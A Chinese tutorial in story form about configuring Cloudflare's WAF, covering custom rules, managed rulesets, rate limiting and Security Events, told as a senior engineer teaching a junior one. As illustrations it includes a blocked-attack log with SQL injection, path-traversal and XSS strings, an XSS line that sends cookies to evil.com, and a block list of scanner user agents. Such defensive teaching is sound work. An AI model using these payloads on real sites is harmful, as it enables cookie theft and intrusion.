《林一的 Cloudflare 通关记》第 11 篇-给网站穿上"防弹衣"——WAF 防火墙配置
《林一的 Cloudflare 通关记》第 11 篇
Turnstile 上线后,注册接口终于清静了。林一正美滋滋地喝着奶茶,老张突然把一台显示器转了过来。
"看看这个。"
屏幕上是 Cloudflare 的 Security Analytics 面板,密密麻麻的红色柱状图——过去 24 小时内,星火AI 的域名收到了超过 12000 次请求,其中 63% 被 Cloudflare 安全系统标记或拦截。
故事引入
"这些都是什么?"林一奶茶差点喷出来。
老张一条一条指给他看:
GET /wp-admin/ → 403 (Managed Rules 拦截)
GET /.env → 403 (Managed Rules 拦截)
GET /api/users?id=1 OR 1=1-- → 403 (SQL 注入特征匹配)
POST /api/chat <script>alert(1) → 403 (XSS 特征匹配)
GET /../../../etc/passwd → 403 (路径穿越拦截)
POST /api/login × 200次/分钟 → 429 (速率限制)
"你用的是 WordPress 吗?"老张问。
"不是啊,咱们是 Workers + Pages。"
"那 /wp-admin/ 的请求就是在扫描——攻击者拿自动化工具批量探测常见漏洞路径。.env 文件里通常有数据库密码和 API Key,这也是扫描器的常规操作。SQL 注入和 XSS 是在试探你的接口有没有过滤输入。至于那个 200 次/分钟的登录请求——"
"暴力破解。"林一接话,脸色已经不好看了。
"对。这些攻击不是针对你个人的——攻击者根本不知道你是谁。他们用扫描器全网遍历 IP 和域名,找到有漏洞的网站就下手。就像小偷在停车场挨个拉车门把手,大部分车拉不开,但只要有一辆没锁门就赚了。"
"可是……咱们好像什么都没做?这些请求就被拦截了?"林一注意到所有的响应状态码都是 403 或 429。
"因为 Cloudflare 的 WAF 默认就开着。"老张笑了笑,"但默认配置只是最基本的保护。今天我教你怎么正确配置 WAF——给你的网站穿上一件真正的'防弹衣'。"
技术讲解
什么是 WAF——和传统防火墙有什么区别?
"先搞清楚一个概念。"老张在白板上写了两个词:网络防火墙 vs Web 应用防火墙。
"你平时说的防火墙——不管是硬件的还是阿里云安全组的——是网络层防火墙。它工作在 OSI 模型的第三、四层(网络层和传输层),管的是 IP 地址和端口。比如'只允许 80 和 443 端口进来'、'禁止某个 IP 段访问'。它不关心 HTTP 请求的内容。"
"那 WAF 呢?"
"WAF 工作在第七层——应用层。它不仅看 IP 和端口,它拆开 HTTP 请求,检查里面的内容:URL 路径、查询参数、请求头、请求体、Cookie……每一部分都会检查。"
老张画了张对比图:
普通 HTTP 请求:GET /api/search?q=<script>alert('xss')</script>
网络防火墙:"80 端口,放行。内容?我不看内容。"
WAF: "等一下——查询参数里有 <script> 标签,这是 XSS 攻击特征,拦截!"
"打个比方:网络防火墙是小区门卫,只检查你是几号楼几单元的(IP+端口);WAF 是入户安检,要把你包里的东西翻一遍,看看有没有带危险品。"

"国内类似的产品有阿里云 WAF、腾讯云 WAF,原理都是一样的——在应用层检查 HTTP 请求内容,匹配攻击特征并拦截。区别在于规则集、检测引擎和生态集成。Cloudflare WAF 的优势在于它直接跑在全球边缘节点上,请求在到达你的源站之前就被检查了——攻击根本到不了你的服务器。"
常见 Web 攻击类型——WAF 要挡什么?
"WAF 主要防御三类攻击,简单过一下。"
SQL 注入(SQLi):攻击者在输入参数中插入 SQL 语句片段,欺骗后端数据库执行非预期操作。比如 ?id=1 OR 1=1-- 可能让 WHERE id=1 变成 WHERE id=1 OR 1=1,返回全表数据。严重情况下可以拖库、删表、绕过登录。
跨站脚本攻击(XSS):攻击者在网页中注入恶意 JavaScript,其他用户访问该页面时脚本自动执行,可以窃取 Cookie、会话令牌,甚至劫持账户操作。比如评论区写入 <script>fetch('https://evil.com?cookie='+document.cookie)</script>。
路径穿越/远程代码执行(RCE):通过构造特殊路径(如 ../../../etc/passwd)读取服务器敏感文件,或利用框架漏洞执行任意代码。
"这些攻击的共性是什么?"老张问。
"都是通过 HTTP 请求的输入参数注入恶意内容。"林一想了想。
"没错。所以 WAF 的核心逻辑就是:检查每个 HTTP 请求的内容,匹配已知的攻击特征,匹配到了就拦截。"
Cloudflare WAF 规则引擎:匹配条件 + 动作
"现在进入今天的重头戏——Cloudflare WAF 的规则引擎。"老张敲了敲白板。
"Cloudflare 的 WAF 规则不管多复杂,核心模型就两个部分:匹配条件(Expression) + 动作(Action)。你可以把它理解为一个 if-then 语句:"
如果 (请求满足某条件) → 执行 (某动作)
if (expression matches) → then (take action)

匹配条件:Rules 表达式语言
"匹配条件用 Cloudflare 的 Rules 语言编写——这是一种类 Wireshark 过滤器的表达式语法。基本结构是:"
<字段> <运算符> <值>
"比如,匹配来自某个 IP 的请求:"
ip.src eq 203.0.113.50
"匹配访问某个路径的请求:"
http.request.uri.path eq "/api/admin"
"多个条件可以用 and、or、not 组合:"
(http.request.uri.path eq "/api/admin") and (ip.src ne 192.168.1.0/24)
"这条表达式的意思是:请求路径是 /api/admin,并且来源 IP 不在 192.168.1.0/24 网段内。"
老张在白板上列出了常用字段和运算符:
| 类别 | 常用字段 | 说明 |
|---|---|---|
| IP | ip.src | 客户端 IP 地址 |
| IP | ip.geoip.country | 客户端 IP 所在国家(两位国家码) |
| URI | http.request.uri.path | 请求路径(不含查询参数) |
| URI | http.request.uri | 完整 URI(含查询参数) |
| URI | http.request.full_uri | 完整 URI(含协议和主机名) |
| Host | http.host | 请求的 Host 头 |
| Method | http.request.method | HTTP 方法(GET/POST 等) |
| Header | http.request.headers["user-agent"] | 请求头字段 |
| Query | http.request.uri.query | 查询字符串 |
| 运算符 | 含义 | 示例 |
|---|---|---|
eq | 等于 | http.request.method eq "POST" |
ne | 不等于 | ip.src ne 10.0.0.1 |
in | 包含在集合中 | ip.src in {1.2.3.4 5.6.7.8} |
matches | 正则匹配 | http.request.uri.path matches "/admin.*" |
contains | 包含子串 | http.request.uri contains "wp-admin" |
starts with | 以…开头 | http.request.uri.path starts with "/api/" |
"表达式最大长度 4096 个字符,每条规则最多包含 64 个正则表达式。对于大多数场景,这些字段和运算符已经足够了。"
"免费版支持正则吗?"林一问。
"免费版和 Pro 版不支持正则(matches 运算符),Business 和 Enterprise 才支持。但免费版可以用 contains、starts with 这些字符串运算符替代大部分场景。"
动作:匹配之后做什么?
"动作决定了 Cloudflare 对匹配规则的请求做什么处理。"老张画了张表:
| 动作 | API 值 | 行为 | 是否终止后续规则 |
|---|---|---|---|
| Block | block | 直接拒绝请求,返回 403 | 是 |
| Managed Challenge | managed_challenge | 动态选择验证方式(非交互挑战或点击验证) | 是 |
| Interactive Challenge | challenge | 弹出 CAPTCHA 交互验证,通过才放行 | 是 |
| JS Challenge | js_challenge | 非交互挑战,浏览器自动执行 JavaScript 证明 | 是 |
| Log | log | 只记录,不拦截(仅 Enterprise 可用) | 否 |
| Skip | skip | 跳过后续某些安全规则(用于排除误报) | 否 |

"重点理解这几个动作的区别:"
"Block 最直接——请求直接被拒绝,客户端收到 403。适用于你确定是恶意请求的情况。"
"Managed Challenge 是推荐的首选动作——Cloudflare 会根据请求特征动态决定验证方式。低风险的可能只跑一个后台 JavaScript 挑战(用户无感),高风险的会弹出一个'点击确认'按钮。验证通过就放行,不通过就拦截。好处是真人用户几乎无感,机器人过不了。"
"JS Challenge 是非交互式的——Cloudflare 给浏览器下发一段 JavaScript,浏览器执行并返回结果。真实浏览器能执行,简单的 HTTP 库(比如 curl、Python requests)执行不了。适合挡脚本攻击。"
"Log 只记录不拦截——非常适合你新建规则时不确定会不会误杀的场景。先设为 Log 观察几天,确认没有误报再改成 Block。但这个动作只有 Enterprise 套餐才能用。"
"免费版和 Pro 版不能用 Log 动作,怎么办?"林一问。
"先用 Managed Challenge 代替——即使误杀了,真人用户也能通过验证继续访问,不会被完全挡在外面。等确认安全后再改成 Block。"
规则执行顺序
"多条规则之间有执行顺序。"老张强调,"Cloudflare 安全功能的执行顺序是:"
1. DDoS 防护(最先进来)
2. 自定义规则(Custom Rules) ← 你写的 if-then 规则
3. 速率限制规则(Rate Limiting) ← 防暴力破解/CC
4. 托管规则集(Managed Rules) ← Cloudflare 预置的攻击特征库
5. Bot 管理

"这个顺序很重要——如果自定义规则对某个请求执行了 Block 动作,后面的速率限制和托管规则都不会再跑。同理,如果自定义规则用了 Skip 动作跳过托管规则,那这个请求就不会被托管规则检查。"
"所以自定义规则的优先级最高?"
"可以这么理解。自定义规则是你手写的,优先级最高;托管规则是 Cloudflare 预置的通用规则集,兜底防护。"
托管规则集:Cloudflare 替你写的安全规则
"自定义规则要你自己想条件、自己写。但很多攻击特征是公开的、已知的——没必要每个人都重新写一遍。"老张说,"Cloudflare 提供了托管规则集(Managed Ruleset),由安全团队维护,自动更新,开了就有保护。"
四个托管规则集
| 规则集 | 说明 | 免费版 | Pro+ |
|---|---|---|---|
| Free Managed Ruleset | 基础规则集,防护高影响、广泛利用的漏洞 | ✅ | ✅ |
| Cloudflare Managed Ruleset | 完整规则集,覆盖已知攻击手法和零日漏洞 | ❌ | ✅ |
| OWASP Core Ruleset | OWASP ModSecurity 核心规则集的 Cloudflare 实现 | ❌ | ✅ |
| Exposed Credentials Check | 检测已泄露的凭据对(已弃用,推荐用 Leaked Credentials Detection) | ❌ | ✅ |
"免费版只能用 Free Managed Ruleset——它是 Cloudflare Managed Ruleset 的子集,包含最基础的规则。Pro 及以上套餐可以使用完整的 Cloudflare Managed Ruleset 和 OWASP Core Ruleset。"
"Cloudflare Managed Ruleset 是 Cloudflare 安全团队维护的规则集,覆盖 CVE(已知漏洞)和常见攻击手法。规则每周更新,遇到高危零日漏洞会紧急发布。每条规则有默认动作——高危的默认 Block,中危的可能默认 Challenge。"
"OWASP Core Ruleset 是 OWASP 基金会维护的开源规则集——很多人在 ModSecurity 上用过。Cloudflare 的实现用了评分模型:每条规则匹配后累加威胁分数,总分超过阈值才执行动作。"
老张画了个示意:
请求进来 → OWASP 规则逐条匹配
规则A 匹配 → +5 分
规则C 匹配 → +10 分
规则F 匹配 → +25 分
总分 = 40
阈值 = 40 → 达到阈值 → 执行动作(Block)

"OWASP 规则集有两个关键参数:Paranoia Level(偏执等级) 和 Score Threshold(分数阈值)。"
| Paranoia Level | 规则数量 | 误报率 | 适用场景 |
|---|---|---|---|
| PL1(默认) | 最少 | 最低 | 通用场景,平衡安全和误报 |
| PL2 | 较多 | 较低 | 需要更严格检测 |
| PL3 | 多 | 中等 | 高安全要求,需要调优 |
| PL4 | 最多 | 高 | 极端安全要求,需要持续调优 |
"Paranoia Level 越高,启用的规则越多,检测越严格,但误报也越多。建议从 PL1 开始,观察 Security Events 面板,确认没有误报后再考虑升级。"
"Score Threshold 越低,越容易触发拦截——分数阈值 40(Medium)是默认值。设为 25(High)更严格,设为 60(Low)更宽松。"
"免费版用户虽然用不了 OWASP 规则集,但 Free Managed Ruleset 已经能挡住最基础的攻击了。如果你的项目预算有限,Free 计划的 WAF 保护也已经比裸奔强了无数倍。"
自定义防火墙规则:手写你的安全策略
"托管规则集是通用防护,但每个网站有自己的业务逻辑——有些威胁是通用的,有些需要你自己写规则。"老张打开了 Cloudflare Dashboard。
"自定义规则的创建步骤:"
第一步:进入规则配置页面
- 登录 Cloudflare Dashboard → 选择你的域名(如
spark-ai.pages.dev) - 左侧菜单 → Security → Security rules(旧版叫 WAF → Firewall rules)
- 点击 Create rule 或 Create custom rule
第二步:编写匹配条件
"Cloudflare 提供了可视化的 Expression Builder——下拉选字段、选运算符、填值,不需要手写表达式。如果你熟悉语法,也可以切到 Edit Expression 模式直接写。"
老张演示了几个实际场景:
场景一:禁止海外 IP 访问管理后台
匹配条件:
(http.request.uri.path starts with "/api/admin") and
(ip.geoip.country ne "CN")
动作:Block
"星火AI 目前只面向国内用户,管理后台不需要海外 IP 访问。这条规则把所有非中国 IP 对 /api/admin 的请求直接 Block 掉。"
场景二:拦截已知恶意 User-Agent
匹配条件:
lower(http.user_agent) contains "sqlmap" or
lower(http.user_agent) contains "nikto" or
lower(http.user_agent) contains "nmap" or
lower(http.user_agent) contains "masscan"
动作:Block
"sqlmap、nikto 这些都是常见的渗透测试工具——攻击者拿它们来扫描漏洞。虽然正常的安全研究员也用,但如果你不是在做渗透测试,这些工具的请求不应该出现在生产环境。"
"注意这里用了 lower() 函数把 User-Agent 转小写再匹配——防止攻击者用 SQLMap、SqlMap 这样的大小写混写绕过。"
场景三:只允许特定 IP 访问管理后台
匹配条件:
(http.request.uri.path starts with "/admin") and
not (ip.src in {203.0.113.10 203.0.113.11})
动作:Block
"只有公司出口 IP(203.0.113.10 和 .11)能访问 /admin 路径,其他 IP 全部 Block。这比密码认证还安全——攻击者连页面都看不到。"
第三步:设置动作
"选好匹配条件后,选择动作。我建议的策略是:"
| 置信度 | 推荐动作 | 说明 |
|---|---|---|
| 100% 确定是恶意 | Block | 直接拦截 |
| 可能是恶意,但可能误杀 | Managed Challenge | 验证一下,真人能通过 |
| 不确定,先观察 | Log(Enterprise)或 Managed Challenge(其他) | 记录或验证,不直接拦截 |
第四步:设置规则描述和部署
"给规则起一个清晰的名字——比如 Block non-CN access to /api/admin,以后在 Security Events 里看到拦截记录时,能一眼知道是哪条规则触发的。"
"点击 Deploy,规则立即生效。全球所有边缘节点都会同步这条规则——通常几秒内完成。"
"免费版可以创建 5 条自定义规则,Pro 版 20 条,Business 版 100 条。对于星火AI 这种小项目,5 条足够了。"
速率限制:防暴力破解和 CC 攻击的利器
"自定义规则能挡住已知的恶意特征,但有一种攻击它防不了——高频请求。"老张说。
"攻击者不用恶意 payload,就是用正常的请求格式,但以极高的频率疯狂请求——暴力破解登录接口、CC 攻击把你的额度耗光、爬虫疯狂抓数据。单个请求看起来是合法的,但频率不正常。"
"这时候就需要速率限制(Rate Limiting)了。"
速率限制的规则模型
"速率限制规则比自定义规则多了几个参数。它的完整模型是:"
匹配条件(Expression)→ 特征(Characteristics)→ 计数周期(Period)
→ 请求数阈值(Requests per period)→ 超限动作(Action)→ 缓解超时(Duration)
"逐个解释:"
| 参数 | 说明 | 免费版限制 |
|---|---|---|
| 匹配条件 | 哪些请求要计数(同自定义规则的表达式语法) | 只能用 Path 和 Verified Bot 字段 |
| 特征(Characteristics) | 按什么维度计数——同一个 IP?同一个路径? | 只支持 IP |
| 计数周期(Period) | 在多长时间窗口内计数 | 仅 10 秒 |
| 请求数阈值 | 窗口内允许的最大请求数 | 无限制 |
| 超限动作 | 超过阈值后做什么 | Block / Challenge / JS Challenge / Managed Challenge |
| 缓解超时(Duration) | 触发后阻止该客户端多久 | 仅 10 秒 |
"免费版的限制比较多——计数周期和缓解超时都只有 10 秒,匹配条件只能用路径字段,计数维度只能是 IP。但对于防暴力破解已经够用了。"
"Pro 及以上就灵活多了——计数周期可以设到 1 分钟(Pro)甚至更长,匹配条件可以用 Host、URI、Method、Source IP、User Agent 等字段,计数维度也扩展到 IP with NAT 支持等。"
实战配置:防暴力破解登录接口
"给星火AI 的登录接口加速率限制。"
- Dashboard → Security → Security rules → Create rate limiting rule
- 配置如下:
规则名称:Rate limit - login endpoint
匹配条件:
http.request.uri.path eq "/api/login"
特征(计数维度):
IP
计数周期:
10 秒
请求数阈值:
5 次
超限动作:
Block
缓解超时:
10 秒
"意思是:同一个 IP 在 10 秒内访问 /api/login 超过 5 次,就 Block 这个 IP 10 秒。"

"10 秒 5 次登录——真人不可能这么快。正常用户输密码加点击至少要几秒钟,5 次/10 秒已经是很宽松的阈值了。"
"等一下,"林一举手,"缓解超时也是 10 秒?那 10 秒之后又能请求了?攻击者等 10 秒再继续,这不就防不住了吗?"
"好问题。免费版确实只有 10 秒的缓解超时——这是个限制。但实际效果没有你想象的差。攻击者被 Block 了 10 秒,意味着每 10 秒最多只能试 5 个密码,一小时最多试 1800 个。对于暴力破解来说,这个速度太慢了——一个 8 位混合密码有 218 万亿种组合,按 1800/小时的速度要破解 138 亿年。"
"Pro 版可以设置更长的缓解超时(最长 1 小时),那就更狠了——触发一次限制后,一小时都进不来。"
实战配置:防 CC 攻击
"CC 攻击的特点是请求本身合法,但通过大量请求耗尽服务器资源。速率限制也能防:"
规则名称:Rate limit - API general
匹配条件:
http.request.uri.path starts with "/api/"
特征:IP
计数周期:10 秒
请求数阈值:30 次
超限动作:Managed Challenge
缓解超时:10 秒
"同一个 IP 10 秒内调 /api/ 下任何接口超过 30 次,就弹 Managed Challenge——真人可以验证通过继续使用,机器人就被挡住了。"
"为什么这里用 Managed Challenge 而不是 Block?因为有些重度用户确实会在短时间内频繁操作——比如快速翻页、批量查询。用 Managed Challenge 给他们一个验证的机会,不至于误杀。"
"免费版只能创建 1 条速率限制规则——所以得想好用在哪个接口。我建议用在登录接口上,因为暴力破解的风险最高。如果有多条规则的需求,需要升级到 Pro(5 条)或更高套餐。"
WAF 事件分析:看看谁在打你
"规则配好了,怎么知道效果?这就需要看安全事件日志了。"老张切到了 Dashboard 的 Analytics 页面。
"Cloudflare 提供两个分析面板:Security Analytics 和 Security Events。"
Security Analytics:全局流量视图
"Security Analytics 显示所有 incoming HTTP 请求的信息——包括被拦截的和正常放行的。它能帮你了解整体流量画像。"
主要功能:
- 流量分布:多少请求被 WAF 拦截、多少被 Cloudflare 缓存返回、多少到达源站
- 攻击分析:按 WAF Attack Score 分类请求——Clean / Likely clean / Likely attack / Attack
- Bot 分析:按 Bot Score 分类——Automated / Likely automated / Likely human / Verified bot
- Top 统计:最活跃的 IP、路径、国家、User-Agent 等
"免费版的数据保留 7 天,查询窗口 24 小时。够用了——看最近的流量情况足够。"
Security Events:被拦截的请求详情
"Security Events 专门看被安全规则匹配到的请求——也就是被 Block、Challenge、Log 的那些。这是排查误报和分析攻击的主要工具。"
"打开方式:Dashboard → Analytics → Events 标签页。"
面板包含以下几个部分:
Events Summary(事件概览):按维度(动作、主机、国家、ASN)分组显示安全事件数量。一眼看出哪个国家的攻击最多、哪种动作触发最频繁。
Events by Service(按服务分类):显示各安全功能(Custom Rules / Managed Rules / Rate Limiting)分别拦截了多少请求。帮你判断是自定义规则在生效还是托管规则在干活。
Top Events by Source(按来源排行):最活跃的攻击 IP、User-Agent、路径、国家——攻击者的"画像"。
Sampled Logs(采样日志):逐条请求的详细记录。展开每条事件可以看到:
- 触发的规则名称和 ID
- 执行的动作(Block / Challenge / Log)
- 请求的完整信息(IP、路径、方法、User-Agent、国家等)
- 触发时间
"免费版的 Security Events 只显示采样日志(Sampled Logs),数据保留 24 小时。Pro 也是 24 小时,Business 3 天,Enterprise 30 天。"
"采样日志是什么意思?"林一问。
"当请求量很大时,Cloudflare 不会把每一条都展示出来——而是抽样显示。这意味着你看到的可能是实际流量的一个子集。如果你想看完整日志,Enterprise 套餐可以通过 Logpush 导出到外部 SIEM 系统。"
"对于日常使用,采样日志已经足够了——你能看到哪些规则在触发、什么类型的攻击最多、有没有误报。"
从事件到规则:闭环调优
"看事件日志不是目的——目的是根据日志优化你的规则。"老张说了一个典型流程:
- 发现异常:在 Security Events 看到某条自定义规则触发了大量事件
- 检查是否误报:展开采样日志,看被拦截的请求是否真的是恶意请求
- 如果是误报:修改规则匹配条件,缩小范围;或者用 Skip 动作为特定路径排除托管规则
- 如果是真实攻击:确认规则动作是否合适——从 Managed Challenge 升级为 Block,或者缩短速率限制阈值
- 持续观察:修改后再看 Events 面板,确认误报消失、攻击仍在被拦截
"Security Events 面板还支持直接从当前过滤器创建自定义规则——点击 Create custom security rule,系统会把你设置的过滤条件自动转成规则表达式。非常方便。"
安全级别设置
"除了自定义规则和托管规则集,Cloudflare 还有一个全局安全级别设置。"老张说。
"Dashboard → Security → Settings,里面有一个 Security Level 选项:"
| 级别 | 行为 |
|---|---|
| Off | 关闭安全级别(不推荐) |
| Essentially Off | 仅拦截最严重的威胁 |
| Low | 对恶意请求拦截,对可疑请求放行 |
| Medium(默认) | 平衡模式,对可疑请求发出挑战 |
| High | 对更多可疑请求发出挑战 |
"这个设置主要影响 Cloudflare 内置的威胁评分系统——根据访客 IP 的信誉历史(是否曾参与攻击、是否在黑名单上)来决定是否挑战。默认 Medium 就行,大部分场景不需要调整。"
"如果你发现大量正常用户被弹出验证页面,可以降到 Low。如果你在遭受攻击,可以临时调到 High。"
"免费版也可以用这个设置——这是最基础的安全功能。"
实操指导
"理论讲完了,现在给星火AI 做一次完整的 WAF 配置。"老张打开了 Dashboard。
第一步:确认 Free Managed Ruleset 已启用
- Dashboard → 选择域名 → Security → Settings
- 找到 Web application exploits 部分
- 确认 Cloudflare Free Managed Ruleset 已开启(免费版默认开启)
"这是免费版唯一能用的托管规则集,确保它开着。如果你升级到 Pro,这里还能看到 Cloudflare Managed Ruleset 和 OWASP Core Ruleset 的开关。"
第二步:创建自定义规则——保护管理后台
- Security → Security rules → Create custom rule
- 配置:
- Rule name:
Block non-CN access to admin - Field:
URI Path→ Operator:starts with→ Value:/api/admin - 点击 And
- Field:
IP Source Country→ Operator:is not→ Value:China - Choose action:
Block
- Rule name:
- 点击 Deploy
"这条规则立即生效——所有非中国 IP 对 /api/admin 的请求都会被 Block。"
第三步:创建自定义规则——拦截攻击工具
- 再次 Create custom rule
- 配置:
- Rule name:
Block attack tools - 切换到 Edit expression 模式,粘贴:
- Rule name:
(lower(http.user_agent) contains "sqlmap") or
(lower(http.user_agent) contains "nikto") or
(lower(http.user_agent) contains "nmap") or
(lower(http.user_agent) contains "masscan") or
(lower(http.user_agent) contains "acunetix")
- Choose action:
Block
- Deploy
"免费版不支持正则(matches 运算符),但 contains + lower() 函数组合足够了。"
第四步:创建速率限制规则——防暴力破解
- Security → Security rules → Create rate limiting rule
- 配置:
- Rule name:
Rate limit - login - If incoming requests match:
URI Pathequals/api/login - Characteristics:
IP - Period:
10 seconds(免费版只有这个选项) - Requests per period:
5 - Duration:
10 seconds(免费版只有这个选项) - Action:
Block
- Rule name:
- Deploy
"免费版只能创建 1 条速率限制规则,用在登录接口上——这是性价比最高的选择。"
第五步:查看安全事件
- Analytics → Events 标签页
- 设置时间范围为 Last 24 hours
- 查看:
- Events Summary:按 Action 分组,看 Block 了多少、Challenge 了多少
- Events by Service:看 Custom Rules 和 Managed Rules 分别拦截了多少
- Top Events by Source:看最活跃的攻击 IP 和路径
- Sampled Logs:展开具体事件查看详情
"建议每天看一次 Security Events——一方面确认规则在正常工作,另一方面及时发现新的攻击模式。"
免费版 vs 付费版 WAF 功能对照
"最后给你一个对照表,清楚知道免费版能用什么、付费版多了什么:"
| 功能 | Free | Pro | Business | Enterprise |
|---|---|---|---|---|
| Free Managed Ruleset | ✅ | ✅ | ✅ | ✅ |
| Cloudflare Managed Ruleset | ❌ | ✅ | ✅ | ✅ |
| OWASP Core Ruleset | ❌ | ✅ | ✅ | ✅ |
| 自定义规则数 | 5 | 20 | 100 | 1000 |
| 正则支持 | ❌ | ❌ | ✅ | ✅ |
| 速率限制规则数 | 1 | 5 | 5 | 100 |
| 速率限制计数周期 | 仅 10s | ≤1min | ≤10min | ≤65535s |
| 速率限制缓解超时 | 仅 10s | ≤1h | ≤1天 | ≤1天 |
| Log 动作 | ❌ | ❌ | ❌ | ✅ |
| Security Events 保留 | 24h | 24h | 3天 | 30天 |
| Security Analytics 保留 | 7天 | 7天 | 31天 | 90天 |
| Attack Score | ❌ | ❌ | ✅(部分) | ✅ |
| 账户级 WAF 配置 | ❌ | ❌ | ❌ | ✅ |
"星火AI 目前用免费版,WAF 的核心功能——Free Managed Ruleset + 5 条自定义规则 + 1 条速率限制规则——都能用。等用户量上来了、安全需求更高了,再考虑升级到 Pro。"
小结预告
本篇知识点回顾
| 知识点 | 核心内容 |
|---|---|
| WAF vs 网络防火墙 | 网络防火墙看 IP+端口(3/4层),WAF 检查 HTTP 请求内容(7层) |
| 常见 Web 攻击 | SQL 注入、XSS、路径穿越/RCE——通过 HTTP 请求注入恶意内容 |
| 规则引擎模型 | 匹配条件(Expression)+ 动作(Action)= if-then 语句 |
| 表达式语法 | <字段> <运算符> <值>,用 and/or/not 组合,最大 4096 字符 |
| 常用字段 | ip.src、http.request.uri.path、http.host、http.request.method 等 |
| 常用运算符 | eq/ne/in/contains/starts with/matches(正则,付费版) |
| Block 动作 | 直接拒绝请求返回 403,终止后续规则评估 |
| Managed Challenge | 动态选择验证方式,推荐用于可能误杀的场景 |
| JS Challenge | 非交互式 JavaScript 挑战,挡脚本攻击 |
| Log 动作 | 只记录不拦截,仅 Enterprise 可用 |
| Skip 动作 | 跳过后续安全规则,用于排除误报 |
| 执行顺序 | 自定义规则 → 速率限制 → 托管规则集(前者终止则后者不执行) |
| Free Managed Ruleset | 免费版可用的托管规则集,基础防护 |
| Cloudflare Managed Ruleset | 完整规则集,Pro+ 可用,每周更新,覆盖 CVE 和零日漏洞 |
| OWASP Core Ruleset | 评分模型,PL1-PL4 偏执等级,分数超阈值才拦截 |
| 自定义规则数 | Free 5条 / Pro 20条 / Business 100条 / Enterprise 1000条 |
| 速率限制模型 | 匹配条件 + 特征 + 计数周期 + 阈值 + 动作 + 缓解超时 |
| 免费版速率限制 | 仅 10s 周期、10s 缓解、IP 维度、1 条规则 |
| Security Analytics | 查看所有 HTTP 请求(含未拦截的),免费版保留 7 天 |
| Security Events | 查看被安全规则匹配的请求详情,免费版保留 24 小时 |
| 采样日志 | 大流量时抽样显示,非完整日志 |
| 安全级别 | Off / Essentially Off / Low / Medium(默认)/ High |
| 国内同类产品 | 阿里云 WAF、腾讯云 WAF,原理相同,区别在规则集和生态 |
动手挑战
-
基础挑战:登录 Cloudflare Dashboard,确认 Free Managed Ruleset 已开启。然后创建一条自定义规则:拦截 User-Agent 中包含
sqlmap或nikto的请求,动作设为 Block。部署后等 30 分钟,去 Security Events 面板看看有没有触发记录。 -
进阶挑战:为登录接口
/api/login创建速率限制规则——同一 IP 10 秒内超过 5 次请求就 Block。然后用 curl 或 Postman 快速连续请求登录接口 10 次,验证第 6 次是否返回 429 或 403。在 Security Events 里找到被拦截的记录,展开查看详情。 -
折腾挑战:创建一条自定义规则,用 Managed Challenge 动作保护
/api/chat接口——匹配条件是"同一 IP 在 10 秒内访问/api/chat超过 20 次"(需要速率限制规则配合)。然后在 Security Events 中分析被拦截的请求:哪个国家最多?哪个 User-Agent 最活跃?尝试根据分析结果再写一条自定义规则,精准 Block 攻击最猛的 IP 段。思考:如果攻击者用代理池换 IP,你的规则还有效吗?这种情况下应该怎么应对?
提示:代理池攻击单靠 IP 维度的速率限制确实难以完全防御。可以考虑结合 ASN(自治系统编号)维度做限制——如果某个 ASN 下大量 IP 都在攻击,直接 Block 整个 ASN。不过免费版的速率限制只支持 IP 维度,ASN 维度需要 Enterprise 套餐。另一个思路是用 Managed Challenge 替代 Block——不管多少 IP,每条请求都要过验证,机器人过不了这关。
下回预告
WAF 配置完成后,林一看着 Security Events 面板上不断跳出的拦截记录,心里终于踏实了。
"张哥,外部攻击挡住了,WAF 真好使。"
"外部是挡住了,"老张点了点头,"但你有没有想过——内部呢?"
"内部?"
"你的管理后台 /api/admin,现在是怎么保护的?用户名密码?如果密码泄露了呢?如果有人在咖啡厅连了公共 WiFi 被中间人攻击截获了呢?"
林一想了想:"那……加个二次验证?"
"二次验证是个方案,但更彻底的方案是——不信任任何人。不管你是谁,默认拒绝访问,除非你的设备和身份通过了验证。这叫 Zero Trust——零信任。"
"零信任?听着好严格。"
"不是严格,是安全。Cloudflare Access 可以给你的管理后台加一层零信任保护——只有指定的邮箱、指定的设备、满足指定条件的人才能进来。密码泄露了也没用,因为攻击者的设备不在信任列表里。"
"那咱们下篇就搞这个?"
"下篇就搞。"
下篇预告:《外部防护做好了,但内部管理后台也得保护——Zero Trust Access》
